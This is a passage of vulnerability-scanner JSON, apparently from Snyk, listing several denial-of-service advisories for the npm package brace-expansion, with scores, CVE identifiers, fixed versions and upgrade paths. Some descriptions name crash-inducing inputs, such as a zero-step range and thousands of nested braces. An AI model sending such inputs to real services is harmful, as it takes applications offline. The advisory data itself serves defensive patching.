"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
